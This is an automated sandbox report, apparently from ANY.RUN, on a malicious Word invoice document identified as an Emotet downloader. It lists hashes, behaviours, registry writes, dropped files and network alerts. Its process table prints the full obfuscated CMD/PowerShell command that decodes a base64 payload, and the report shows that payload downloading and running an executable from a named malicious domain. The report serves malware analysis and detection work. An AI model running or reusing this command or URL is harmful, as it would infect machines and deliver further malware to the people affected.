analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | INV-K71-87M9832.doc |
| Full analysis: | https://app.any.run/tasks/576d1167-ad39-402e-86ee-9df32e77a1fe |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | November 08, 2018, 16:32:21 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Isabella-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Nov 7 16:31:00 2018, Last Saved Time/Date: Wed Nov 7 16:31:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0 |
| MD5: | 88595362C0F57953E9D52F00EAA76634 |
| SHA1: | C8DE45CEDFB1B00C9246D9EA909BDF4739AD1A79 |
| SHA256: | 62CB96A1DC38EA7CD8C1738F267CA4CCB0DE5253ABE722A9B51A247AFF9762F8 |
| SSDEEP: | 768:sTBSVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9tcY2tAcnBnip:s9Socn1kp59gxBK85fBt+a9kPB |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 3568)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 3568)
Application was dropped or rewritten from another process
- 866.exe (PID: 2832)
- 866.exe (PID: 3604)
Downloads executable files from the Internet
- powershell.exe (PID: 3080)
SUSPICIOUS
Executes PowerShell scripts
- CMD.exe (PID: 540)
Creates files in the user directory
- powershell.exe (PID: 3080)
Executable content was dropped or overwritten
- powershell.exe (PID: 3080)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3568)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3568)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Word 97-2003 Document |
|---|---|
| CompObjUserTypeLen: | 32 |
| HeadingPairs: |
|
| TitleOfParts: | - |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| CharCountWithSpaces: | 14 |
| Paragraphs: | 1 |
| Lines: | 1 |
| Company: | - |
| CodePage: | Windows Latin 1 (Western European) |
| Security: | None |
| Characters: | 13 |
| Words: | 2 |
| Pages: | 1 |
| ModifyDate: | 2018:11:07 16:31:00 |
| CreateDate: | 2018:11:07 16:31:00 |
| TotalEditTime: | - |
| Software: | Microsoft Office Word |
| RevisionNumber: | 1 |
| LastModifiedBy: | - |
| Template: | Normal.dotm |
| Comments: | - |
| Keywords: | - |
| Author: | Isabella-PC |
| Subject: | - |
| Title: | - |
Total processes
36
Monitored processes
5
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3568 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\INV-K71-87M9832.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 540 | CMD cmd.EXE /C"SeT OpG= (NEW-objEcT sYsTem.Io.compressiON.DeflaTESTREaM([Io.MemORySTReaM] [CONvErT]::FroMbaSE64STRIng( 'TZBBa8JAEIX/Sg4La0jdHARpXQJiROqhPagghV6SzZisJrtxd2LahPz3bkShl4F535s3zJCdKSMF7VSnZxDofQKyI6RxKUEhJ93mENECsV6EoUWA0qJJZF4gKKlyJnQV2nV8NcuHp21bJ2ZgUQqmAMNV9Tb7D08msWBcVQJcEx6e0DT23BhmmnCW5QUcuycQ0ioQ2lbgMu24kqVujrJ9XUqc0CX1OVntOy/y6Ot8TjnZfX1EBNRtgVDVAf2mwcgDyuAHKD9pA4koJuT9GntSeeONfo/mtyfuF2ytW1XqJNvIEu6eF28M9PlW3fQFplsXeld46nIufBAJiqIfhj8=' ),[io.COMpResSIoN.cOmPRessiONmOde]::deComprEsS ) ^|FOreacH{NEW-objEcT iO.sTreAMREaDer($_ , [TExt.enCoDING]::ASCIi ) }).READtOENd() ^| . ( ([StRiNG]$veRBOsEprEFerenCE)[1,3]+'X'-joiN'')&& pOWeRSHELL . ( ${ENV:`co`mspeC}[4,26,25]-joIn'' ) (( .( \"{0}{1}\" -f'ite','m' ) ( \"{2}{1}{0}\" -f'Opg',':','eNv' ) ).\"Val`UE\" )" | C:\Windows\system32\CMD.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3080 | pOWeRSHELL . ( ${ENV:`co`mspeC}[4,26,25]-joIn'' ) (( .( \"{0}{1}\" -f'ite','m' ) ( \"{2}{1}{0}\" -f'Opg',':','eNv' ) ).\"Val`UE\" ) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | CMD.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2832 | "C:\Users\admin\AppData\Local\Temp\866.exe" | C:\Users\admin\AppData\Local\Temp\866.exe | — | powershell.exe |
User: admin Company: AbanSoft / Sun Microsystems, Inc. Integrity Level: MEDIUM Description: Window I Stub Exit code: 0 Version: 1, 4, 2, 50 | ||||
| 3604 | "C:\Users\admin\AppData\Local\Temp\866.exe" | C:\Users\admin\AppData\Local\Temp\866.exe | — | 866.exe |
User: admin Company: AbanSoft / Sun Microsystems, Inc. Integrity Level: MEDIUM Description: Window I Stub Version: 1, 4, 2, 50 | ||||
Total events
1 305
Read events
1 195
Write events
106
Delete events
4
Modification events
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | rx& |
Value: 72782600F00D0000010000000000000000000000 | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1298661393 | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1298661508 | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1298661509 | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: F00D0000BA4704A98077D40100000000 | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | =y& |
Value: 3D792600F00D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | =y& |
Value: 3D792600F00D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3568) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
1
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3568 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3052.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3080 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WEYXS3UZDIS1DGJUPNMO.temp | — | |
MD5:— | SHA256:— | |||
| 3080 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1837f3.TMP | binary | |
MD5:2E6C332796340AFFBFF5230455889D0D | SHA256:6F83140E19865C73D28025CDCE4DC60261AB057414157519A4A1AAA80DF8540E | |||
| 3568 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:1178BF800A7E9A315A240C34A220AC74 | SHA256:D9C88E977D14F6A961A1118B14A375E85A2D6FC2467D14A13161D3D2EBF0E8B7 | |||
| 3080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\866.exe | executable | |
MD5:82F7A4BB3C787D75EF9E848436C41792 | SHA256:1175BE83C70C2F140571429D35B3FC2F4A8C755F5A101EC63DD30094E2B5C46E | |||
| 3568 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$V-K71-87M9832.doc | pgc | |
MD5:42932D5FC21DE96320EF1ACD2664F759 | SHA256:7F461E77EE00B37EB7CFF73B349978DBED673AFAE371BD6B05F225729544D54E | |||
| 3080 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:2E6C332796340AFFBFF5230455889D0D | SHA256:6F83140E19865C73D28025CDCE4DC60261AB057414157519A4A1AAA80DF8540E | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3080 | powershell.exe | GET | 200 | 216.172.183.202:80 | http://steelstraightening.com/sDCqr/ | US | executable | 148 Kb | malicious |
3080 | powershell.exe | GET | 301 | 216.172.183.202:80 | http://steelstraightening.com/sDCqr | US | html | 398 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3080 | powershell.exe | 216.172.183.202:80 | steelstraightening.com | CyrusOne LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
steelstraightening.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3080 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
3080 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3080 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3080 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |